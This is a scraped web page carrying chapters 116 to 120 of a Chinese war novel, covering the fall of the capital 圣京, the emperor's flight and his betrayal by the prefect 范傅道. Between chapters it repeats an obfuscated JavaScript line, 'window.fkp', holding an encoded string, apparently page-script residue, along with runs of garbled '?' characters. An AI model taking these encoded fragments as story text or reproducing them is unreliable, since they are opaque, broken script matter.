此时的皇帝坐在那张龙椅上,已经全然没有了当初那种权倾天下的感觉,有的只剩下如坐针毡般的难受。现在他的心里就像是有一群蚂蚁在里面爬来爬去似的,让他心慌到手足无措。他害怕极了,以至于双腿都在轻微的颤抖着:“如今西梁军兵临城下,诸位爱卿有何良策呀?” 贾凤德走出来沉声道:“陛下不必惊慌。贺州张总之将军,还有崖山刘公旺将军,已分别率领四五万兵马赶来,日落之前便可入城。” “啊?哦……当真?”听到还有援军到来,皇帝的脸上露出一分难看的欣喜来。 贾凤德接着说道:“陛下,西梁贼子虽数倍于我,但圣京墙高城固,只要我们坚守不出他们便奈何不了我们,所以,眼下当务之急就是要收缩兵力,全力防守圣京,只要我们能坚持到各处援军赶来,到时候来他个里应外合,不愁这帮西梁贼子们不败!” 原本皇帝自己都不抱什么希望了,现在听贾凤德说的斩钉截铁也是有些喜出望外,连连说道:“好好好!一切都依贾将军所言。” 别看贾凤德嘴上说的硬气,其实他暗地里早就为自己安排好了后路,一但西梁军有攻破城门的迹象,贾凤德马上就会跑路。不但贾凤德这样,朝中大半的文臣武将都有类似的安排。 八九万的人马进入圣京地界,要瞒过西梁军的视线几乎是不可能的。其实早在这些人马从老家出发的时候西梁军就收到了相关的信息。他们有多少人;领军的都有谁;都带了那些装备;一天能走多少里路;天黑前在哪里扎营;天亮时又是什么时辰出发;……等等这一切消息每天都会准时送到西梁军的手中,所以杨笑早已对此做好了准备,张开了口袋就只等着他们往里钻了。 刘公旺,原本是崖山的一个穷酸秀才,从小聪慧过人的刘公旺十四岁那年就在乡试中考中了秀才。奈何因为家境贫寒,无权无势,在后面的几次考试中都被人家买通考官给冒名顶替了,再加上家乡闹匪患,于是刘公旺一气之下来了个投笔从戎。 因为能读会写,刘公旺很快就在军中谋了个主薄的小职位。兴许是在家的时候被人欺负的太多了,从军后的刘公旺就跟完全换了个人似的,什么趋炎附势,溜须拍马,见风使舵,落井下石,假公济私,中饱私囊……等等见人的见不得人的手段轮番使出,很快就从一个小小的军中主薄升到了崖山军营参军的位子。再后来不知怎么的这个刘公旺竟然做了京东行营督军的女婿,凭借着京东行营督军这条线,刘公旺一番运作下来,没过几年的功夫就当上了崖山军营的一把手。 靠着这些见不得人的手段上位的刘公旺,在军中自然难以服众。不过这年头像这样的事情也不少见,大家也早就习以为常了,也就不会有什么太明显的抵触情绪。不管在心里怎么想总归在面子上还是过得去的,当然了,其中也不乏有捧臭鞋的。只不过平时的言听计从并不代表在战时还能令出必行。 早就马放南山的崖山军营,再加上个从来就没有打过仗的将军,平常混混日子还算过得去,真到了动真格的时候就原形毕露了。崖山大军从出发伊始就是各种令行不畅,各种混乱,甚至前后送达的军令还存在相互矛盾的现象。就这样,沿途又纠集了许多人马的崖山大军在刘公旺的带领下,一路磕磕绊绊总算是赶到了圣京地界。 时值盛夏,天气本就闷热,再加上头天的一场雨,更让人觉得闷热到喘不过气来。刘公旺仰头喝完了水囊里的最后一口水,他擦了擦沾在嘴角上的水渍,在心里骂了句“这该死的鬼天气”后,向一旁的下属问道:“离圣京还有多远?” ?那名下属看了看手里的地图,又四处张望了一下回道:“回将军,离圣京不远了,如果我们加紧步伐的话今天晚上应该就能到了。” 刘公旺把手里的水囊抛给身边的侍从,他在马背上直起身来,伸手在裤裆里还有屁股后面抓了两下:“让大家伙儿都加紧着点儿,本将军真是受够了这鬼天气。” 从来也没有骑马赶过这么久路程的刘公旺,这会儿只觉得两瓣屁股跟着了火似的,裤裆里也是火烧火燎的难受。 就在刘公旺抱怨路途坚难的时候,一匹探马从前面飞奔而来:“报!禀将军,前面出现一队不明人马,看样子像是西梁军。” 一听到西梁军这三个字,本来无精打采的刘公旺立刻一惊:“什么!?西梁军?不会搞错了吧?” 那探子回答:“回将军,应该没有错,那些人打出的旗帜小的看的清清楚楚。” 刘公旺难以置信道:“啊!前两天他们不是还在黑泽寨吗?怎么这么快就到这里了?” 这也不怪刘公旺会吃惊,实在是西梁军的步伐太快,而朝廷方面又信息不畅,到了他自己的崖山大军这里就更混乱不堪了,这样一来等消息传到他这里的时候已经是许久前的事情了。 “他们有多少人马?”吃惊之余刘公旺问道。 “大概有两三万人的样子。”探子回道。 刘公旺一听有这么多西梁军立刻叫道:“什么!?两三万人?那帮在前面开路的是干什么吃的,这么多人难道就没发现吗?” 这时一旁的下属试探着问道:“将军,我们现在该怎么办?是不是要杀过去?” 刘公旺听到这句话先是一愣。杀过去?开完笑!自己这帮混日子的乌合之众怎么可能是西梁军的对手!别的没有,自知之明他刘公旺还是有的,对于自己能吃几碗干饭他可是门儿清。刘公旺把头摇的跟拨浪鼓似的:“嗯……绕,绕过去。” ……。 “刘公旺旗下也有一支骑兵,王将军,你也是骑兵出身,这支骑兵就交给你了。”李伯通在马上望着远处的崖山大军向王燕兴说道。 王燕兴闻言开口道:“崖山骑兵跟我临西骑兵比起来就是一群娇生惯养的大小姐,跟本不堪一击。” “刚刚放过去的那三千人有史家兄弟打点,眼前这些人嘛,武将军已经去堵他们的后路去了,现在就看你王将军来唱这场戏了。”李伯通点点头。 王燕兴一夹马腹提枪出列道:“那就让王某杀他个几进几出!” 李伯通拊掌道:“好!马将军和胡将军会协助于你,李某就在这里为几位压阵,顺便也看一场好戏,咱们一切按杨将军的计策行事。” 王燕兴闻言大手一挥喝道:“擂鼓!” ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百一十六回 剑指圣京城(三) 正在调头打算绕开西梁军的刘公旺忽然间听到鼓声大作,四周也响起一片喊杀声来,立刻有些慌了神儿:“快!快!快撤!” 崖山大军在慌乱中调头后撤。结果还没有走几步,就看见原本在队伍最后面的人马全都狼狈不堪的往自己这边跑了过来。等这些人到了跟前一问,才知道原来是后路让人给断了。 前有追兵后有赌截,这下可怎么办?崖山军一时间乱作一团,很快就有不少人开始四散而逃。眼看着队伍要散,急的刘公旺在马上不住的大叫着:“防守!防守!不要慌,不要乱!……。” 到了这时候,他就算是叫破了喉咙也没人会听他的了。 就在这一片混乱之中,不知道是谁在人群里扯开嗓子喊了一声:“西梁军来了,大家快跑啊!”不喊不要紧,这一嗓门吼出来,原本就处在溃散边缘的崖山军一下子就像炸了窝似的,全都做了鸟兽散。刘公旺眼见着队伍收拢无望,干脆也来了个跑路了事。 崖山军这一跑让王燕兴最是无语,原本还打算着能大干一场的,现在倒成了漫天野地的撵鸡了。 与刘公旺差不多前后脚进入圣京地界的张总之,遇上了大公子率领的西梁军。区别于刘公旺的未战先败,双方刚一个照面,张总之这个狠人就带领着手下人马与西梁军混战在了一起。 与刘公旺的草根出身不同,张总之祖上三代公卿,在贺州地界上那是一等一的世家门阀。这位张将军是个生来就好勇斗狠的主,家族中传承的书香之气他是一点都没有沾上。既然走不了文官的仕途,那就只好走武官的路子了,不过好在家族的能量足够大,张总之在武将一途上走的也很是顺坦,一路爬到了正四品壮武将军的位子上。 在贺州地界上一提起张总之的名字来那简直就是比如雷贯耳还要如雷贯耳。和刘公旺在崖山军中卑鄙无耻的名声不同,张总之在贺州可是个恶名昭着的家伙。刘公旺不过是在权势斗争中手段卑劣些罢了,却没有做过什么为害一方的恶事,张总之在贺州那可是实打实的作恶多端,干了不知道多少人神共愤的恶事。无论是在贺州军中,还是平常的老百姓眼里,都把他看成是活阎王一般的存在,恨他恨到牙根都痒的慌。于是乎,这位张将军在与西梁军的乱战之中,稀里糊涂的就被自己人从背后给开了瓢。 某电视剧里有一句很火的台词:就是五万头猪,抓三天也抓不完! 嗯,猪是抓不完,但有时候人比猪可好抓多了。不但好抓,抓起来后也比猪好赶。 亥时末过,王燕兴就拎着刘公旺来到了杨笑的大帐里。 王燕兴生的人高马大,相比之下书生出身的刘公旺就要瘦弱许多,王燕兴抓着他的后脖领真就像是拎着一只小鸡仔似的。 刚一进门,迎面从里面走出来一个人,两个人都只顾着低头走路,差一点就撞了个满怀。王燕兴看了一眼面前之人,这人的身材与自己相仿,穿一身灰色长杉,头上戴了一顶大斗笠,斗笠上有一层细细的纱巾,把他的容貌遮的严严实实的。透过那层纱巾依稀可以看到一张棱角分明的面孔,一幅浓密的须髯露在纱巾外面。 王燕兴看向此人之时,那人也恰好抬头看向了他。二人隔着一层纱巾对视一眼,那人似是对王燕兴报以一个微笑的表情,向他拱拱手后便低头侧身从王燕兴的身边迈步离开了。 虽然只是匆匆一眼,还隔着一层纱巾,但王燕兴还是觉得这个人眼熟的很,只是任他怎么想都想不起来在哪里见过这个人。他一直望着那个人的背影消失在一座帐篷后面才收回了视线,却不经意间看到了刘公旺那张让他怎么看怎么不待见的脸。 刘公旺见王燕兴转头看向自己,忙腆着一张笑脸点头哈腰的向他讨好,生怕他一不高兴就揍自己一顿。他那双拳头简直就像砂锅一般大,这要真是一拳砸在自己身上,那还不把自己的骨头给砸折了。 在战场上没有过足瘾,心里正不痛快的王燕兴看到刘公旺那一脸的奴才像就来气,把个硕大的拳头一挥,吓的刘公旺赶紧往后缩脖子。这可真他娘的叫怕什么来什么!不过王燕兴也只是吓唬吓唬他,并没有真的打下去,饶是如此也把刘公旺给吓出了一身的冷汗。 王燕兴见他这副胆小如鼠的模样冷哼一声道:“看什么看?真不知道你是怎么坐上这个位子的,能把这么重要的位置交给你,那个人想必也不是什么好鸟。”说完一提他的后脖领就要往里走,这时才发现杨笑正站在大厅里笑眯眯的看着自己。 不等王燕兴说话杨笑先开口道:“是不是觉得有点面熟?” 王燕兴回答道:“是有点面熟,那人是谁呀?” 杨笑呵呵一笑:“是一个贵人,大贵人。”杨笑转而问道:“怎么样?王大哥,此行还算顺利吧?” 王燕兴回道:“顺利是蛮顺利的,就是没有过了瘾呐!”说着把刘公旺往杨笑面前一推:“倒是这个家伙,还真是挺能跑的,害我费了好大的劲儿才把他抓回来。” 王燕兴说着就在刘公旺的屁股上踢了一脚,冲他喝道:“还不快点拜见我家将军!” 只要不是个傻子都应该知道眼前这个人的身份肯定不一般,何况刘公旺还挺聪明的。王燕兴一开口,刘公旺就明白了眼前这名年轻人的身份。他赶忙跪在地上磕头求饶:“小人见过杨将军,杨将军饶命啊,小人愿意给杨将军当牛做马……。” “你就是刘公旺?”杨笑看着跪在地上的刘公旺问道。 “小人正是。”刘公旺老老实实的回答着。 “你先起来吧,我对你的脑袋不感兴趣。”杨笑一边说着一边坐到旁边的一张椅子上。 “谢杨将军,谢杨将军,……。”刘公旺一边称谢一边爬了起来。 “刘公旺啊,我来问你……。” 不等杨笑问什么,刘公旺就抢着说道:“将军您尽管问,小人一定知无不言,言无不尽……。” 杨笑止住他道:“我不是问你这些。我是要问你愿不愿意献出崖山三郡来?” 刘公旺立刻跪在地上说道:“小人愿意,小人愿意献出崖山,小人愿意唯杨将军马首是瞻。” “嗯,好。你先下去吧。” 不用杨笑召唤已有两名侍卫进到帐内。 “呃……。”看到那两名侍卫,刘公旺却有些不愿意离开。 杨笑见刘公旺并不愿意跟随侍卫离开,而是一脸苦相的看向自己,已然明了了他的心思,就又说道:“放心吧,没有人会伤你分毫。” 刘公旺在得到了杨笑的保证,这才千恩万谢的起身跟着两名侍卫下去了。 这时李伯通,马致远等十多名杨笑麾下的重要将领们也来到了大帐内。杨笑坐回正位,李伯通等人向杨笑见礼。 等众人都落坐后杨笑开口道:“关于攻打圣京的事情,情况忽然有了一些变化……。” 众人一听脸上纷纷露出凝重之色来。 杨笑补充道:“哦,大家不必紧张,是往好的方面改变。” 众人闻言这才稍稍缓和了一下紧张的神经。 杨笑接着说道:“虽然事情是在往好的方面发展,但强攻的计划还是要按既定的安排进行。李将军,武将军,刘将军还有呼延将军,你们四人要抓紧准备,尽量往前赶一赶。”四人闻言起身称是。 杨笑又接着安排道:“马将军,王将军,孙将军你们三人一定要盯紧外围防线。”三人也起身称是。 “其余几位将军还是就地休整,整兵备战。”最后杨笑起身拱手道:“杨笑年幼才浅,这段时间多亏了大家的鼎力协助,在这里先多谢诸位老哥了!”众将齐刷刷起身道:“愿追随将军左右!” 接下来杨笑又听取了各部的情况汇报,与大家在细节上商议调整了一下。会议结束后杨笑把李伯通单独留了下来,要他跟自己一起去把新发生的情况跟封常青和大公子他们商量一下,然后向西梁王作汇报。 究竟圣京城能否被顺利拿下?这期间又会否出现什么意外情况?预知后事如何,且听下回分解! ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百一十七回 大破圣京城 圣京城的夕阳晚影还是很美的。白虎门的城楼上是欣赏这一美景的绝佳之地,站在这里能够把日落时的美景尽收眼底。 夕阳下,几只归巢的鸟儿悠然的从地平线上的那轮红日里穿过,红彤彤的太阳用它最后的光芒染红了半边天,天空由红转黄再变白,渐渐的又从白色过渡成了蓝色,蓝色慢慢的变成了青色,最后又全都变成了黑色。自始至终只有那颗高悬天边的星星一成不变,它就那么闪耀在天边,直到繁星布满天空,直到迎来朝阳的初升。 韩擒虎扶着城楼上的栏杆静静的欣赏着眼前的美景。自从他掌管白虎门以来已经看过了不知道多少次日落,每一次的日落都有不一样的美景,每一次的日落都能给他带来不一样的感触。他就这么站在城楼上看着夕阳一点点的落到地平线的那一边,直到夜幕布满了整个天空。等天色完全黑下来后朝擒虎悠悠地长出了一口气:“红霞满天,明天一定是个好天气。” ……。 皇宫大内。烛火伴随着燃烧时发出的细微的嗞嗞声轻轻地跳动着,昏暗的烛光照在大殿里显得那么的空旷阴森。阴暗的角落里仿佛潜伏着一只随时都会扑出来的猛兽,让人心生畏惧不敢直视。 皇帝一个人喝着闷酒。他斜靠在那里已经喝的迷迷糊糊,连酒杯里的酒洒在腿上都不知道。 “二山关丢了,上宁城丢了,玉嶂郡丢了,现在就连圣京城都朝不保夕了,都怪那该死的妖人蛊惑于朕,现在倒好,出了事就没了人影。这些个大大小小的官也来骗朕,平时把自己吹的多厉害多厉害,到了关键的时候连个西梁军都挡不住,都是些没用的东西,没用的东西!……。”皇帝在嘴里一句句的念叨着,说到后面委屈的都要哭出来了:“你说我要是现在向九叔道歉的话他会不会愿凉我?” 白发苍苍的大祭酒侯氏举站在皇帝跟前不远处,他是国子监的大祭酒,也是皇帝的老师。 听到皇帝的话后他轻轻地摇了摇头。 皇帝用一双醉眼看着自己老师给出的无声的回答,他又问道:“他不是说要清君侧吗?朕让他把这些君侧便意处置还不行吗?” 大祭酒又摇了摇头。 “九叔他不是一向都仁慈吗?”皇帝第三次问道。 “那是以前的西梁王了。”大祭酒叹口气说道。 “呜呜呜……皇帝一口饮尽了杯中的酒后竟然哭出了声来:“朕该怎么办?朕该怎么办?……。” 只可惜大祭酒只回答了这一句话后就不再开口了,他拱手弯腰向皇帝深深一礼后缓缓的退出了大殿。 对于大祭酒的离开皇帝似乎根本就没有查觉到,他还是在自顾自的喝着酒,自言自语的在嘴里报怨着。 过了不知多久,一个宦官快步走了进来:“陛下,西梁军突然开始攻打起左玄武门了。” 皇帝只是摆了下手很是随意的说道:“知道了,交给贾将军去处理吧。” 那宦官领旨告退出了大殿。 不一会儿,禁军侍卫统领跑了进来:“陛下!大事不好了,白虎门韩擒虎投敌,放西梁军入城了!” 皇帝听到这个消息立刻惊起道:“什么!”方才的酒也全醒了:“贾凤德呢?” 禁军统领的回答让皇帝又是一惊:“贾将军早就逃出圣京了。” “啊!”皇帝听到这个消息后一下子瘫座在龙椅上。现在大将贾凤德可以说是他最大的倚靠了,只要是与战事相关的事情他全都交给贾凤德全权处理,现在这个自己最倚靠最信任的人竟然扔下自己先跑路了。皇帝一下子觉得自己头顶上那片本就摇摇欲坠的天彻底的塌了下来。 禁军统领安慰道:“陛下不必心灰。俗话说,留得青山在,不怕没柴烧!三千禁军已经在宫门外等候陛下,我们这就护送陛下出城,以图东山再起!”说着就上前不由分说架起皇帝就往外走。 三千禁军护送着皇帝一路往东边的右青龙门而去。一直到出了皇城,皇帝才回过一点神来:“这是到哪里了?” 一直跟在御辇旁边的禁军统领听到皇帝的问话后回道:“陛下咱们刚出皇城,正往右青龙门走。” 皇帝把头伸出车窗外看了下四周的情况后问道:“韩擒虎的家是不是就在这一带?” 禁军统领扭头往前方看了一眼后回答道:“回陛下,韩擒虎的家确实就在前面。” 皇帝现在最恨的人恐怕就是韩擒虎了,只见他恶狠狠的说道:“韩擒虎竟敢私通西梁反贼背叛于朕,朕一定要让他付出代价!你,多带些人手,赐他全家满门抄斩!” 从皇帝开口问起韩擒虎的家时禁军统领就已经预感到了什么,听到皇帝的旨意后他先是稍稍犹豫了一下,但最后还是点头领旨而去。 此时韩宅里的男男女女,老老少少,许多人都还在睡梦之中,他(她)们还不知道一场滔天的祸事即将来临。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百一十八回 隐忧 西梁军攻城的消息惊醒了韩府的老夫人———韩擒虎的母亲。此时韩府内的许多人都已聚集在大厅里。 ?“发生了什么事情?”韩母问道。 “回老夫人,是西梁军在攻城。” “这么快就开始攻城了?” “是的老夫人,西梁军正在攻打北面的玄武门。” “哦,虎儿那边有什么消息没有?”韩母似是对西梁军攻城一事并不怎么上心,她只再意自己的儿子。 “回老夫人,老爷那边目前还没有消息传来。” ?“哦。都坐吧,都坐下,一时半会儿的也不会有什么结果的。都别站着了,怪累的。”韩母说着在婢女的搀扶下先坐了下来。 过了没一会儿从大门的方向传来了一阵吵闯声,“咣咣咣……。”像是有人在砸门的声音。 接着响起了家丁的喝问声:“你们是什么人?……。”好像有人闯了进来。 “啊!啊!……。”紧接着又传来几声惨叫。 屋外突然发生的动静让屋里的所有人都有些惊慌失措,韩母吩咐道:“快去看看发生了什么事情。” 一个仆人听到韩母的吩咐后快步向屋外走去,结果那仆人刚出屋门就发出一声惨叫,然后就从门外跌了进来。倒在地上的仆人当胸处一道触目惊心的伤口,泊泊的鲜血往外流了一地。这突然发生的一幕恐怖景像吓的屋里的女眷们发出一阵阵的惊叫,就在这时一群持刀披甲的武士冲了进来。 韩母看到这些人后怒喝道:“你们是什么人?竟然敢在这里杀人!” 这时一个领头的武士走出来高声道:“韩擒虎私通西梁反贼,放西梁贼军入城。奉陛下旨意,赐韩家满门抄斩!”那领头的武士说完后把手里的刀一挥:“杀!” 这一声“杀”,吓的屋里的人惊叫着四散奔逃,又哪里逃得了,一个个纷纷在一片惨叫声中倒在了血泊里。 屋子里只有韩母一个人没有跑,她镇定的看着眼前发生的一切,那些惨死在眼前的人全都是自己的亲人,有些甚至是自己的骨血,而那些血现在还在往外冒着一股股的热气。 那些武士杀完屋里的所有人后提着刀向韩母一步步的走了过来。老人家知道自己最后的时刻到了,但她没有表现出哪怕一丝的恐惧和慌张,她目视前方高声说道:“虎儿做的对!” ……。 韩家一门二百三十六口人尽数而没。 先是韩擒虎早就对朝廷的所作所为心生不满,再是西梁军围城,于是韩擒虎暗中联系上了杨笑,于是就有了西梁军佯攻玄武门,韩擒虎趁机在白虎门放西梁军入城。那天王燕兴在杨笑的大帐外见到的人就是亲身涉险的韩擒虎。 天色将亮时圣京城里终于平静了下来。那座像征着大周王朝最核心的大殿里,杨笑翻看着御案上的东西。他把手里的一个折子扔在御案上,在御案上并没有发现什么有用的东西,他转过身摸了摸那张龙椅,半年前自己还在为这张椅子的主人拼命,现在么……这一切想想都让人觉得有点可笑。 杨笑在那座高高的,镶金嵌银的,放置着龙椅的高台上,围着龙椅好奇的这看看,那摸摸。这时一名侍卫走入大殿里:“将军,封将军和大公子到了。”那侍卫的话刚说完,大公子已经到了。 人末进殿,大公子那爽朗豪迈的笑声先到了:“哈哈哈哈……妹夫呀!这回你又是大功一件啊!啊哈哈哈……哎呀……我都要被你比的快没影儿了。”大公子边说边笑着与封常青一起进到了大殿里。 杨笑正要从高台上下来迎接二人,不想大公子看到杨笑站在高台上就拿手指点着杨笑说道:“诶!我以为就我一个人对那个高台上好奇呢,看来你这位天降的神兵也免不了俗嘛!啊?哈哈哈……。” 杨笑拱手道:“兄长说笑了。” 大公子也来到高台上看着那张龙案说道:“好家伙,这张桌子可真是够大够威风。”又看见龙案上摆放的书籍,奏章,卷轴就又说道:“每天都要批阅不知道多少奏章,当个好皇帝也真是够累的慌的。” 封常青在旁开口道:“是啊,要不怎么叫日理万机呢。” 大公子绕过龙案拍着龙椅扶手上的龙头又道:“哎呀……也不知道这张椅子有什么好的,要那么多人为了它挣的你死我活的。”大公子说着又拍了拍龙椅上的座垫:“诶,你说它也不怎么软活呀。”大公子说着就一屁股坐在了上面,双手扶着两边的扶手试了试感觉,然后连连说道:“嗯……不好不好不好,坐着一点也不舒服。” 前面的摸摸看看还能以“好奇”说的过去,可大公子的这一坐,可把杨笑和封常青两个人给吓了一跳。两个人都在心中一惊,不约而同的看向了对方,也都在对方的眼神里看到了不同寻常的神情,气氛一下子凝重了起来。还是封常青经历的事情多反应也更快,只见他对杨笑微不可查的摇了摇头,示意他不要声张。 “据听说,之所以让龙椅坐起来不舒服,是为了让皇帝时时刻刻都能体会到黎民百姓的疾苦,好时刻鞭策自己要造福于天下。”封常青开口打破了这微妙的气氛。 ?“哦?是吗?”大公子一边说着一边站了起来:“还有这么个说法?不会是你现编的吧?” “大公子说笑了,这些只不过是在下偶然间从一本书上看到的。”封常青笑呵呵的说。 大公子又道:“哎,你别说,讲的还挺有几分道理。” 这时一名侍卫来到大殿内禀告道:“三位将军,据探马来报,皇帝带着三千禁军往顺城方向去了。” “顺城?”杨笑说道:“还真是得来全不费工夫。” 封常青听杨笑这么一说就知道这其中一定是有什么隐情:“杨将军此话怎讲?” 杨笑回道:“老将军就等着看好戏吧,用不了几天就会有人把他给送回来了。” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百一十九回 落架的凤凰不如鸡 原本顺城府等相邻的几个州府县城,当初全都暗中投靠了参与争夺皇位的几位皇子。后来几位皇子落败被擒,太子下落不明,这些人因为事情做的隐蔽,所以一时间并没有被清剿出来。虽说侥幸躲过了一劫,但终日里也是惶恐不安,生怕哪一天东窗事发自己和全家人的性命就会不保。好在清剿余党的事情没有进行多久就又发生了西梁王的事情,一伙人于是就这么幸存了下来。 眼前的安全只不过是暂时的,对于这一点,顺城太守等人一个个全都心知肚明。要怎样才能渡过这个随时都能爆发的危机呢?诶!投奔西梁王就是一个再好不过的法子了。 因为杨笑当初负责追查太子的下落,所以跟顺城太守等人有过几面之缘。就是凭着这么一份不算交情的交情,一伙人就找上了杨笑,直禀自己当时犯下的过错,并表示愿意举城归顺西梁王,只希望西梁王能够不记前嫌,给自己一个将功赎罪的机会。对于白白送上门的一份大礼杨笑自然是笑纳,但是,顺城地处圣京以东,自身的实力又比较薄弱,现在就举旗倒戈亮明旗帜的话在形势上会十分不利,所以杨笑叮嘱他们暗中隐藏,等待时机。 当皇帝带着三千禁军来到顺城的时候,顺城太守范傅道先是心里一惊,感到心慌害怕,但他很快转念一想,发现这竟是一个天降的机遇。 西梁军一路势如破竹,完全占居上风,现在更是攻破了圣京城,这个时候正是自己亮明旗帜的大好时机。现如今皇帝只带着三千禁军逃到了这里,而自己的手头上明里暗里足有上万人马,就算自己的兵草包了一些,可一万人关起门来打三千人,怎么算怎么都觉得应该是自己这边获胜才对。到时候要是把这份大礼往西梁王那里一送……啧啧啧……这得是多大的一份功劳啊!到那个时候……嘿嘿嘿……光是想想就让范傅道的心里痒的不行不行的。 范傅道镇定下心神之后向前来禀报的下属吩咐道:“快快迎接圣驾!” ……。 “微臣接驾来迟罪该万死!” 城门外,范傅道一溜小跑来到皇帝的车驾前,立刻匍匐在地向圣驾请罪,那副模样真是即诚恳无比又虚伪至极呀! 列位看官,到底这个范傅道是个什么样子的诚恳无比呢?只见他先是在圣前请罪,再是大骂西梁贼子大逆不道,最后说到圣京被破陛下沦落至此,一路上不知道担了多少惊,受了多少罪,说到后面范傅道哭的那叫一个涕泪横流哇!真真是哭的鼻子一把泪一把的。 列位,这书要不是我写的,我自己心里知道这范傅道是个什么东西的话,连我都要被他感动了。您说他虚伪不虚伪?连我都差点被他给骗了,您说咱们这位落难的皇帝他能不被感动吗? 在皇帝看来,面前的臣子到这会儿还能有如此忠心,那当真是忠心到了极点。于是乎,皇帝出言安抚了范傅道几句后对其是大加赞赏。 皇帝心说:“好家伙!我都这样了我还没哭呢,他反倒哭成这个样子,我还得反过来安慰他几句,你说这叫个什么事啊!”……哈哈哈……开一句玩笑,咱们言归正传。 话说范傅道将皇帝迎入城中,把自己的府邸腾出来给皇帝住,自己到大街上找了家客栈暂时先住下。把皇帝一行人安排好以后,范傅道的坏心眼就又开始动起来了。他先是把顺城府内隐藏的人马全都悄悄的调动了起来,这还不算,他觉得这一万人马还不够保险,又从邻近的三个县城里调来了两三千人。等利用夜色的掩护把一切都布置好以后,范傅道这才感觉到心里面有了点底。现在,万事具备,只欠东风。一想到自己从此以后就要飞黄腾达,范傅道的心里忍不住就乐开了花。 再说皇帝和那三千禁军。一伙人一路上疲于奔命,担惊受怕,熬到现在早就是累的不行不行的了,这会儿好不容易有了这么一个安稳点的容身之处,那还不得好好的睡上一觉。 等到了半夜三更,皇帝他们睡的正香的时候,一阵嘈杂声把皇帝给惊醒了。这些天来皇帝过的就跟惊弓之鸟似的,一有点动静就害怕的不行。他起身问道:“范爱卿?范爱卿?外面是怎么回事?” 只见范傅道从门外一路跑进来,一进门就跪倒在皇帝面前:“陛下!不好了,西梁贼兵们打过来了!” 皇帝闻言大惊失色:“啊!来的这么快?” 范傅道抬头看了一眼皇帝惊慌失措的样子,在心里喜道:“对!就是这个样子。”心里美滋滋,脸上却急切道:“陛下不必惊慌。那些乱臣贼子们现正在攻打北门,微臣等尚能抵挡一时半刻。陛下,微臣已在南门外为陛下准备好了几条大船,陛下可速速乘船而行,届时顺流而下,一日千里,定可甩掉追兵。” 皇帝闻言连忙胡乱的往身上穿衣服,范傅道也起身帮忙。皇帝一边穿衣服一边问:“范爱卿,那你呢?” 范傅道义正言辞道:“为了陛下的安危,微臣决定留下来与这帮乱臣贼子们决一死战。” 皇帝听了范傅道的话后感动的热泪盈眶,他紧紧握住范傅道的双手说道:“范爱卿!……。” 范傅道扑通一声跪在地上:“陛下!……。” “要是朝中能多几个像范爱卿这样的忠臣,我大周又何至于此呀!”皇帝悔恨道。 “陛下不要再说了,时间紧迫,陛下还是速速离开的要紧。”范傅道催促道。 皇帝在对范傅道的感动中蹬上马车一路往南门而去。 皇帝的车辇一路上快马加鞭来到了顺城府的南门。到了城门下却发现那个深深的门洞里不但大门紧闭,连用来阻敌的千斤闸都放了下来。就在皇帝等人心生疑惑之时,哗啦啦……从他们身后的街道上,街道两边的房屋上,还有面前的城墙上,一下子涌出来无数的人马,禁军统领见此情景此立心道不妙。这时候一声怪笑从城楼上传了下来:“呵呵呵……嘿嘿嘿……陛下这是要去哪儿啊?” 皇帝掀开车帘把身子探出来,当他看清来人是谁后,难以置信道:“范爱卿你这是何意?” 禁军统领也在马上用马鞭指着范傅道厉声喝:“范傅道,你竟敢大逆不道!” “嘿嘿嘿……大逆不道?那也得看是什么时候呀。哎呀……都这会儿了我也就不装了,实话告诉你们,本官早已投靠了西梁王殿下,正愁着送王爷一份什么见面礼才何适呢,你们这些人就来自投罗网了。哈哈哈……这不是白白给了本官一个立功的大好机会吗?哈哈哈……。” 皇帝一听这话吓的一下子瘫倒在马车上。禁军统领气的大骂道:“范傅道,你这无耻小人!” “胡说!本官可是堂堂的太守大人。”范傅道洋洋自得道:“来呀!弓箭手准备!” 咯吱吱……咯吱吱……四周立刻传来了一阵阵弓弦绷紧的声音,禁军统领立刻紧张了起来。范傅道又阴阳怪气的说道:“哦,对了,可千万别伤到了咱们的皇帝陛下。” “范傅道你……!”禁军统领目眦欲裂。 “哈哈哈哈……。”范傅道得意的大笑起来:“放箭!” 欲知后事如何,且听下回分解! ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百二十回 站住!打劫! ???西梁王原先在圣京城的府邸早已经打扫的干干净净,大公子现在临时住在这里。一大早,大公子就到自己负责的各处军营里视查了一遍。虽说西梁军拿下了圣京城,但大周王朝疆域辽阔,还有许多地方没有被收服,西梁军依然丝毫都不能松懈。 